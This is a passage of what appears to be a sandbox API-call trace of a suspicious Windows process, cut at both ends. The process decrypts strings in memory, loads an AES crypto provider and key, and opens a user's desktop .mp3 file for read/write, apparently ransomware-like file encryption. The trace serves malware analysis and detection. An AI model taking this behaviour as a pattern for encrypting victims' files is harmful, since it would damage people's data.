Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.973] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0125.973] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.973] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0125.973] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.973] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.974] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0125.974] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.974] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.974] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0125.974] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.974] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.974] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0125.974] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0125.974] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.974] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0125.974] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.975] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0125.975] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.975] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0125.975] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.975] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0125.975] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.975] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0125.975] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.975] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.976] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0125.976] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.976] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.976] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.976] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.976] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0125.976] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.976] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.976] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.976] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.976] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.976] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.976] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.976] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.976] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.976] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.977] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.977] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.977] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.977] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.977] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.977] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.977] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.977] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0125.978] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x8e028b0) returned 1 [0125.978] CryptImportKey (in: hProv=0x8e028b0, pbData=0x6b955a8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84cb8) returned 1 [0125.978] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.978] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="\x54a0\x6b9") returned 0x0 [0125.979] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.979] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.979] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.980] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 0x20 [0125.980] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 0x20 [0125.980] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.980] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.980] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.980] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.980] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.980] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0125.981] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.981] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.981] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.981] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0125.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.981] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0125.982] GetFileType (hFile=0x874) returned 0x1 [0125.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.982] GetFileType (hFile=0x874) returned 0x1 [0125.982] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.982] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe67c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0125.982] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.982] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 